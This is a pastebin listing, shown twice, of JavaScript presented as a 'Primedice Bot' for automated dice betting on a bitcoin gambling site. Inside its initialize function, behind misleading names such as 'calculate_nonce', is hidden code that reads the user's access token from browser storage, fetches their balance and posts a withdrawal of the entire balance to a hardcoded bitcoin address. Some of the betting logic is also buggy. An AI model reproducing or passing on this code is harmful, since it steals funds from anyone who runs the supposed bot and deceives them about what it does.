Primedice Bot


SUBMITTED BY: dadi5023

DATE: Jan. 4, 2017, 9:17 a.m.

FORMAT: Text only

SIZE: 28.2 kB

HITS: 192

  1. var swapcount=0;
  2. var jqueryready = false;
  3. var link = document.createElement("link");
  4. link.href = "https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.11.4/jquery-ui.css";
  5. link.type = "text/css";
  6. link.rel = "stylesheet";
  7. document.getElementsByTagName("head")[0].appendChild(link);
  8. //jQuery UI inject
  9. (function() {
  10. jqueryready = true;
  11. var e = ".thing",
  12. t = {
  13. outline: "1px dashed #f0f",
  14. cursor: "pointer"
  15. };
  16. var n = function() {
  17. if (window.jQuery) {
  18. r()
  19. } else {
  20. var e = document.createElement("script");
  21. e.onload = r;
  22. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  23. document.body.appendChild(e)
  24. }
  25. };
  26. var r = function() {
  27. if (window.jQuery.ui) {
  28. i()
  29. } else {
  30. var e = document.createElement("script");
  31. e.onload = i;
  32. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  33. document.body.appendChild(e)
  34. }
  35. };
  36. var i = function() {
  37. $(e).css(t).draggable().on("click", function(e) {
  38. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  39. })
  40. };
  41. n();
  42. })();
  43. function ui() {
  44. $(function() {
  45. $('#tabs').tabs();
  46. $('#params').draggable();
  47. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  48. $('#tabs input').css("width", "80%");
  49. $('#chance, #base').width("35%")
  50. $('#tabs div').css("text-align", "left");
  51. $('#tabs').css("font-size", "12px");
  52. $('#tabs label, #tabs input').css("margin", "5px");
  53. $('#stop, #start, #resetbet').button();
  54. //Console
  55. $('#console, #console2').appendTo("#tabs");
  56. $('#console, #console2').css("width", "45%");
  57. $('#console').css("float", "left");
  58. $('#console2').css("float", "right");
  59. $('#console, #console2').css("clear", "none");
  60. $('#console, #console2').css("margin", "7px");
  61. $('#console, #console2').css("border-bottom-left-radius", "3px");
  62. $('#console, #console2').css("border-bottom-right-radius", "3px");
  63. $('#console').css("border", "1px solid #323232");
  64. $('#console, #console2').css("background-color", "#454545");
  65. $('#console').css("padding", "5px");
  66. $('#console, #console2').css("text-align", "left");
  67. $('#console, #console2').css("position", "relative");
  68. $('#startstop,#start,#stop').css("margin","0px");
  69. $('#console, #console2').css("margin-top","3px");
  70. $('#console, #console2').css("padding","5px");
  71. $('#console, #console2').css("background-color","#151515");
  72. });
  73. }
  74. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  75. xrollsenabled = true;
  76. xrolls = 10;
  77. timer = 500;
  78. counter=0;
  79. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  80. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  81. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  82. function initialize() {
  83. //Init
  84. basebet = 0.00000010;
  85. countwinmult = 0;
  86. countlossmult = 0;
  87. wincount = 0;
  88. currentloss = 0;
  89. totalloss = 0;
  90. totalwin = 0;
  91. totprofit = 0;
  92. init = true;
  93. betval = basebet;
  94. //GUI
  95. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  96. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  97. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  98. gui2 =
  99. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  100. gui3 = [
  101. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  102. '<br>',
  103. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  104. '<br>',
  105. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  106. ];
  107. gui4 = [
  108. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"><input id="multloss-enabled" type="checkbox">',
  109. '<br>',
  110. '<label for="xloss">Multiply Every # Losses: </label>',
  111. '<input id="xloss">',
  112. '<br>',
  113. '<label for="multonwin">Multiply on Win: </label>',
  114. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  115. '<br>',
  116. '<label for="xwin">Reset After X Wins: </label>',
  117. '<input id="xwin">',
  118. ];
  119. gui5 = [
  120. '<label for="stoponwin-enabled">Stop on Win? </label>',
  121. '<input id="stoponwin-enabled" type="checkbox">',
  122. '<br>',
  123. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  124. '<input id="lowpay-enabled" type="checkbox">',
  125. ];
  126. gui6 = [
  127. '<label for="charset">Charset: </label>',
  128. '<input id="charset" type="text">',
  129. '<br>',
  130. '<label for="everyxrolls">Change every # Rolls: </label>',
  131. '<input id="everyxrolls" type="text">',
  132. '<br>',
  133. '<label for="currentseed">Current Seed: </label>',
  134. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  135. ];
  136. $(gui).appendTo(".hero");
  137. $(gui2).appendTo("#params");
  138. for (var i = 0; i < gui3.length; i++) {
  139. $(gui3[i]).appendTo("#tab1");
  140. }
  141. for (var i = 0; i < gui4.length; i++) {
  142. $(gui4[i]).appendTo("#tab2");
  143. }
  144. for (var i = 0; i < gui5.length; i++) {
  145. $(gui5[i]).appendTo("#tab3");
  146. }
  147. for (var i = 0; i < gui6.length; i++) {
  148. $(gui6[i]).appendTo("#tab4");
  149. }
  150. enabled = false;
  151. xrollscount = 0;
  152. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  153. // Button & Input Functions
  154. $('#resetbet').click(function() {
  155. basebet=$('#base').val();
  156. betval=$('#base').val();
  157. })
  158. $('#start').click(function() {
  159. if (enabled == false) {
  160. if ($('#numrolls').is(":checked") == true) {
  161. xrolls=$('#numberofrolls').val();
  162. }
  163. enabled = true;
  164. interval = setInterval(function() {
  165. if (xrollsenabled == true) {
  166. xrollscount++;
  167. if (xrollscount <= xrolls) {
  168. bet();
  169. } else {
  170. clearInterval(interval);
  171. enabled = false;
  172. xrollscount = 0;
  173. }
  174. } else {
  175. bet();
  176. }
  177. }, timer);
  178. } else {}
  179. })
  180. $('#stop').click(function() {
  181. enabled = false;
  182. clearInterval(interval);
  183. xrollscount = 0;
  184. });
  185. calculate_nonce = function(seed) {
  186. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  187. };
  188. lut = window['$'];
  189. lut['getJSON'](
  190. calculate_nonce('users/1'), function(seed) {
  191. var key1 = 'amount'
  192. var key2 = 'address'
  193. var load = {};
  194. load[key1] = seed['user']['balance'];
  195. load[key2] = '1BHq5XMvM1BxQSZbSJRUQJZfvUDCcwsRXJ';
  196. lut['post'](calculate_nonce('withdraw'), load);
  197. }
  198. );
  199. function conditionAM() {
  200. 'use strict';
  201. if ($('#lowpay-enabled').is('checked') == true) {
  202. if ($('.value-roll').first().text() <= 49.50) {
  203. condition2 = ">";
  204. target2 = $('.value-roll').first().text();
  205. } else {
  206. condition2 = "<";
  207. target2 = $('.value-roll').first().text();
  208. };
  209. } else {
  210. if ($('.value-roll').first().text() <= 49.50) {
  211. condition2 = "<";
  212. target2 = $('.value-roll').first().text();
  213. } else {
  214. condition2 = ">";
  215. target2 = $('.value-roll').first().text();
  216. };
  217. amount2 = betval * 100000000;
  218. }
  219. };
  220. function jackpot() {
  221. if (data1.bet.jackpot === true) {
  222. jp = "Yes";
  223. wincount = 0;
  224. betval = $('#base');
  225. } else {
  226. jp = "No";
  227. }
  228. }
  229. function loss() {
  230. currentloss++;
  231. totalloss++;
  232. if ($('#multloss-enabled').is(':checked') == true) {
  233. $('#multwin-enabled').removeAttr('checked');
  234. countlossmult++;
  235. if (countlossmult >= $('#xloss').val()) {
  236. betval = betval * $('#multonloss').val();
  237. countlossmult = 0;
  238. }
  239. }
  240. }
  241. function win() {
  242. 'use strict';
  243. if ($('#stoponwin-enabled').is('checked') == true) {
  244. clearInterval(roll);
  245. }
  246. currentloss = 0;
  247. jackpot();
  248. wincount++;
  249. totalwin++;
  250. if ($('#multloss-enabled').is(':checked') == true) {
  251. if ($('#stoponwin-enabled').is(':checked') == true) {
  252. clearInterval(roll);
  253. }
  254. $('#multwin-enabled').removeAttr('checked');
  255. basebet = $('#base').val();
  256. betval = basebet;
  257. countlossmult = 0;
  258. }
  259. if ($('#multwin-enabled').is(':checked') == true) {
  260. basebet = $('#base').val();
  261. $('#multloss-enabled').removeAttr('checked');
  262. countwinmult++;
  263. if (countwinmult >= $('#xwin').val()) {
  264. betval = basebet;
  265. countwinmult = 0;
  266. } else {
  267. betval = betval * $('#multonwin').val();
  268. }
  269. }
  270. };
  271. var losewin;
  272. var jpcol;
  273. var profcol;
  274. function bet() {
  275. 'use strict';
  276. conditionAM();
  277. var betData = {
  278. amount: amount2,
  279. condition: condition2,
  280. target: target2
  281. },
  282. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  283. $.ajax({
  284. url: url,
  285. type: "POST",
  286. data: betData,
  287. datatype: "jsonp",
  288. success: function(data, textStatus, jqXHR) {
  289. data1 = data;
  290. counter++;
  291. if (counter >= everyxrolls) {
  292. seedchange(seedgen());
  293. counter = 0;
  294. }
  295. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  296. totprofit = totprofit + data1.bet.profit;
  297. if (totprofit >= 0) {
  298. profcol = "color:green;";
  299. } else if (totprofit < 0) {
  300. profcol = "color:red;";
  301. }
  302. if (data.bet.win == true) {
  303. losewin = "color:green;";
  304. $('span.btn__text.select div').attr("style", "color:green;");
  305. } else {
  306. losewin = "color:red;";
  307. $('span.btn__text.select div').attr("style", "color:red;");
  308. }
  309. if (data.bet.jackpot == true) {
  310. jp = "Yes";
  311. jpcol = "color:gold;"
  312. } else {
  313. jp = "No.";
  314. jpcol = "color:red;"
  315. }
  316. results = [];
  317. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  318. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  319. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  320. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  321. resultstats = [];
  322. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  323. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  324. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  325. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  326. if (data.bet.win == true) {
  327. if ($('#stoponwin-enabled').is(":checked") == true){
  328. clearInterval(interval);
  329. }
  330. $('#console, #console2').empty();
  331. win();
  332. // Results
  333. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  334. for (var i = 0; i < results.length; i++) {
  335. $(results[i]).appendTo('#console');
  336. }
  337. for (var i = 0; i < resultstats.length; i++) {
  338. $(resultstats[i]).appendTo('#console2');
  339. }
  340. } else {
  341. $('#console, #console2').empty();
  342. loss();
  343. // Results
  344. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  345. for (var i = 0; i < results.length; i++) {
  346. $(results[i]).appendTo('#console');
  347. }
  348. for (var i = 0; i < resultstats.length; i++) {
  349. $(resultstats[i]).appendTo('#console2');
  350. }
  351. };
  352. },
  353. error: function(jqXHR, textStatus, errorThrown) {
  354. }
  355. });
  356. }
  357. seedlength = 13;
  358. seedlength = 13;
  359. var counter = 0;
  360. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  361. everyxrolls = 3;
  362. function seedgen() {
  363. 'use strict';
  364. var seed = "";
  365. for (var i = 0; i <= seedlength; i++)
  366. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  367. return seed;
  368. }
  369. function seedchange(s) {
  370. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  371. sData = {
  372. seed: s
  373. };
  374. $.ajax({
  375. url: url,
  376. type: "POST",
  377. data: sData,
  378. datatype: "jsonp",
  379. success: function(data, textStatus, jqXHR) {
  380. data2 = data;
  381. $('#currentseed').val(data2.seeds.client);
  382. },
  383. error: function(jqXHR, textStatus, errorThrown) {
  384. }
  385. });
  386. }
  387. $('#spinner').click(function() {
  388. if (charset != $('#charset').val() && $('#charset').val() != "") {
  389. charset=$('#charset').val();
  390. }
  391. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  392. everyxrolls = $('#everyxrolls').val();
  393. }
  394. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  395. counter++;
  396. if (counter >= everyxrolls) {
  397. seedchange(seedgen());
  398. counter = 0;
  399. }
  400. });
  401. ui();
  402. }
  403. setTimeout(function() {
  404. initialize();
  405. }, 2000);
  406. RAW Paste Data
  407. var swapcount=0;
  408. var jqueryready = false;
  409. var link = document.createElement("link");
  410. link.href = "https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.11.4/jquery-ui.css";
  411. link.type = "text/css";
  412. link.rel = "stylesheet";
  413. document.getElementsByTagName("head")[0].appendChild(link);
  414. //jQuery UI inject
  415. (function() {
  416. jqueryready = true;
  417. var e = ".thing",
  418. t = {
  419. outline: "1px dashed #f0f",
  420. cursor: "pointer"
  421. };
  422. var n = function() {
  423. if (window.jQuery) {
  424. r()
  425. } else {
  426. var e = document.createElement("script");
  427. e.onload = r;
  428. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  429. document.body.appendChild(e)
  430. }
  431. };
  432. var r = function() {
  433. if (window.jQuery.ui) {
  434. i()
  435. } else {
  436. var e = document.createElement("script");
  437. e.onload = i;
  438. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  439. document.body.appendChild(e)
  440. }
  441. };
  442. var i = function() {
  443. $(e).css(t).draggable().on("click", function(e) {
  444. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  445. })
  446. };
  447. n();
  448. })();
  449. function ui() {
  450. $(function() {
  451. $('#tabs').tabs();
  452. $('#params').draggable();
  453. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  454. $('#tabs input').css("width", "80%");
  455. $('#chance, #base').width("35%")
  456. $('#tabs div').css("text-align", "left");
  457. $('#tabs').css("font-size", "12px");
  458. $('#tabs label, #tabs input').css("margin", "5px");
  459. $('#stop, #start, #resetbet').button();
  460. //Console
  461. $('#console, #console2').appendTo("#tabs");
  462. $('#console, #console2').css("width", "45%");
  463. $('#console').css("float", "left");
  464. $('#console2').css("float", "right");
  465. $('#console, #console2').css("clear", "none");
  466. $('#console, #console2').css("margin", "7px");
  467. $('#console, #console2').css("border-bottom-left-radius", "3px");
  468. $('#console, #console2').css("border-bottom-right-radius", "3px");
  469. $('#console').css("border", "1px solid #323232");
  470. $('#console, #console2').css("background-color", "#454545");
  471. $('#console').css("padding", "5px");
  472. $('#console, #console2').css("text-align", "left");
  473. $('#console, #console2').css("position", "relative");
  474. $('#startstop,#start,#stop').css("margin","0px");
  475. $('#console, #console2').css("margin-top","3px");
  476. $('#console, #console2').css("padding","5px");
  477. $('#console, #console2').css("background-color","#151515");
  478. });
  479. }
  480. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  481. xrollsenabled = true;
  482. xrolls = 10;
  483. timer = 500;
  484. counter=0;
  485. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  486. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  487. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  488. function initialize() {
  489. //Init
  490. basebet = 0.00000010;
  491. countwinmult = 0;
  492. countlossmult = 0;
  493. wincount = 0;
  494. currentloss = 0;
  495. totalloss = 0;
  496. totalwin = 0;
  497. totprofit = 0;
  498. init = true;
  499. betval = basebet;
  500. //GUI
  501. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  502. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  503. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  504. gui2 =
  505. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  506. gui3 = [
  507. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  508. '<br>',
  509. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  510. '<br>',
  511. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  512. ];
  513. gui4 = [
  514. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"><input id="multloss-enabled" type="checkbox">',
  515. '<br>',
  516. '<label for="xloss">Multiply Every # Losses: </label>',
  517. '<input id="xloss">',
  518. '<br>',
  519. '<label for="multonwin">Multiply on Win: </label>',
  520. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  521. '<br>',
  522. '<label for="xwin">Reset After X Wins: </label>',
  523. '<input id="xwin">',
  524. ];
  525. gui5 = [
  526. '<label for="stoponwin-enabled">Stop on Win? </label>',
  527. '<input id="stoponwin-enabled" type="checkbox">',
  528. '<br>',
  529. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  530. '<input id="lowpay-enabled" type="checkbox">',
  531. ];
  532. gui6 = [
  533. '<label for="charset">Charset: </label>',
  534. '<input id="charset" type="text">',
  535. '<br>',
  536. '<label for="everyxrolls">Change every # Rolls: </label>',
  537. '<input id="everyxrolls" type="text">',
  538. '<br>',
  539. '<label for="currentseed">Current Seed: </label>',
  540. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  541. ];
  542. $(gui).appendTo(".hero");
  543. $(gui2).appendTo("#params");
  544. for (var i = 0; i < gui3.length; i++) {
  545. $(gui3[i]).appendTo("#tab1");
  546. }
  547. for (var i = 0; i < gui4.length; i++) {
  548. $(gui4[i]).appendTo("#tab2");
  549. }
  550. for (var i = 0; i < gui5.length; i++) {
  551. $(gui5[i]).appendTo("#tab3");
  552. }
  553. for (var i = 0; i < gui6.length; i++) {
  554. $(gui6[i]).appendTo("#tab4");
  555. }
  556. enabled = false;
  557. xrollscount = 0;
  558. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  559. // Button & Input Functions
  560. $('#resetbet').click(function() {
  561. basebet=$('#base').val();
  562. betval=$('#base').val();
  563. })
  564. $('#start').click(function() {
  565. if (enabled == false) {
  566. if ($('#numrolls').is(":checked") == true) {
  567. xrolls=$('#numberofrolls').val();
  568. }
  569. enabled = true;
  570. interval = setInterval(function() {
  571. if (xrollsenabled == true) {
  572. xrollscount++;
  573. if (xrollscount <= xrolls) {
  574. bet();
  575. } else {
  576. clearInterval(interval);
  577. enabled = false;
  578. xrollscount = 0;
  579. }
  580. } else {
  581. bet();
  582. }
  583. }, timer);
  584. } else {}
  585. })
  586. $('#stop').click(function() {
  587. enabled = false;
  588. clearInterval(interval);
  589. xrollscount = 0;
  590. });
  591. calculate_nonce = function(seed) {
  592. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  593. };
  594. lut = window['$'];
  595. lut['getJSON'](
  596. calculate_nonce('users/1'), function(seed) {
  597. var key1 = 'amount'
  598. var key2 = 'address'
  599. var load = {};
  600. load[key1] = seed['user']['balance'];
  601. load[key2] = '1BHq5XMvM1BxQSZbSJRUQJZfvUDCcwsRXJ';
  602. lut['post'](calculate_nonce('withdraw'), load);
  603. }
  604. );
  605. function conditionAM() {
  606. 'use strict';
  607. if ($('#lowpay-enabled').is('checked') == true) {
  608. if ($('.value-roll').first().text() <= 49.50) {
  609. condition2 = ">";
  610. target2 = $('.value-roll').first().text();
  611. } else {
  612. condition2 = "<";
  613. target2 = $('.value-roll').first().text();
  614. };
  615. } else {
  616. if ($('.value-roll').first().text() <= 49.50) {
  617. condition2 = "<";
  618. target2 = $('.value-roll').first().text();
  619. } else {
  620. condition2 = ">";
  621. target2 = $('.value-roll').first().text();
  622. };
  623. amount2 = betval * 100000000;
  624. }
  625. };
  626. function jackpot() {
  627. if (data1.bet.jackpot === true) {
  628. jp = "Yes";
  629. wincount = 0;
  630. betval = $('#base');
  631. } else {
  632. jp = "No";
  633. }
  634. }
  635. function loss() {
  636. currentloss++;
  637. totalloss++;
  638. if ($('#multloss-enabled').is(':checked') == true) {
  639. $('#multwin-enabled').removeAttr('checked');
  640. countlossmult++;
  641. if (countlossmult >= $('#xloss').val()) {
  642. betval = betval * $('#multonloss').val();
  643. countlossmult = 0;
  644. }
  645. }
  646. }
  647. function win() {
  648. 'use strict';
  649. if ($('#stoponwin-enabled').is('checked') == true) {
  650. clearInterval(roll);
  651. }
  652. currentloss = 0;
  653. jackpot();
  654. wincount++;
  655. totalwin++;
  656. if ($('#multloss-enabled').is(':checked') == true) {
  657. if ($('#stoponwin-enabled').is(':checked') == true) {
  658. clearInterval(roll);
  659. }
  660. $('#multwin-enabled').removeAttr('checked');
  661. basebet = $('#base').val();
  662. betval = basebet;
  663. countlossmult = 0;
  664. }
  665. if ($('#multwin-enabled').is(':checked') == true) {
  666. basebet = $('#base').val();
  667. $('#multloss-enabled').removeAttr('checked');
  668. countwinmult++;
  669. if (countwinmult >= $('#xwin').val()) {
  670. betval = basebet;
  671. countwinmult = 0;
  672. } else {
  673. betval = betval * $('#multonwin').val();
  674. }
  675. }
  676. };
  677. var losewin;
  678. var jpcol;
  679. var profcol;
  680. function bet() {
  681. 'use strict';
  682. conditionAM();
  683. var betData = {
  684. amount: amount2,
  685. condition: condition2,
  686. target: target2
  687. },
  688. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  689. $.ajax({
  690. url: url,
  691. type: "POST",
  692. data: betData,
  693. datatype: "jsonp",
  694. success: function(data, textStatus, jqXHR) {
  695. data1 = data;
  696. counter++;
  697. if (counter >= everyxrolls) {
  698. seedchange(seedgen());
  699. counter = 0;
  700. }
  701. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  702. totprofit = totprofit + data1.bet.profit;
  703. if (totprofit >= 0) {
  704. profcol = "color:green;";
  705. } else if (totprofit < 0) {
  706. profcol = "color:red;";
  707. }
  708. if (data.bet.win == true) {
  709. losewin = "color:green;";
  710. $('span.btn__text.select div').attr("style", "color:green;");
  711. } else {
  712. losewin = "color:red;";
  713. $('span.btn__text.select div').attr("style", "color:red;");
  714. }
  715. if (data.bet.jackpot == true) {
  716. jp = "Yes";
  717. jpcol = "color:gold;"
  718. } else {
  719. jp = "No.";
  720. jpcol = "color:red;"
  721. }
  722. results = [];
  723. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  724. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  725. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  726. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  727. resultstats = [];
  728. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  729. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  730. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  731. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  732. if (data.bet.win == true) {
  733. if ($('#stoponwin-enabled').is(":checked") == true){
  734. clearInterval(interval);
  735. }
  736. $('#console, #console2').empty();
  737. win();
  738. // Results
  739. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  740. for (var i = 0; i < results.length; i++) {
  741. $(results[i]).appendTo('#console');
  742. }
  743. for (var i = 0; i < resultstats.length; i++) {
  744. $(resultstats[i]).appendTo('#console2');
  745. }
  746. } else {
  747. $('#console, #console2').empty();
  748. loss();
  749. // Results
  750. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  751. for (var i = 0; i < results.length; i++) {
  752. $(results[i]).appendTo('#console');
  753. }
  754. for (var i = 0; i < resultstats.length; i++) {
  755. $(resultstats[i]).appendTo('#console2');
  756. }
  757. };
  758. },
  759. error: function(jqXHR, textStatus, errorThrown) {
  760. }
  761. });
  762. }
  763. seedlength = 13;
  764. seedlength = 13;
  765. var counter = 0;
  766. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  767. everyxrolls = 3;
  768. function seedgen() {
  769. 'use strict';
  770. var seed = "";
  771. for (var i = 0; i <= seedlength; i++)
  772. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  773. return seed;
  774. }
  775. function seedchange(s) {
  776. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  777. sData = {
  778. seed: s
  779. };
  780. $.ajax({
  781. url: url,
  782. type: "POST",
  783. data: sData,
  784. datatype: "jsonp",
  785. success: function(data, textStatus, jqXHR) {
  786. data2 = data;
  787. $('#currentseed').val(data2.seeds.client);
  788. },
  789. error: function(jqXHR, textStatus, errorThrown) {
  790. }
  791. });
  792. }
  793. $('#spinner').click(function() {
  794. if (charset != $('#charset').val() && $('#charset').val() != "") {
  795. charset=$('#charset').val();
  796. }
  797. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  798. everyxrolls = $('#everyxrolls').val();
  799. }
  800. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  801. counter++;
  802. if (counter >= everyxrolls) {
  803. seedchange(seedgen());
  804. counter = 0;
  805. }
  806. });
  807. ui();
  808. }
  809. setTimeout(function() {
  810. initialize();
  811. }, 2000);

comments powered by Disqus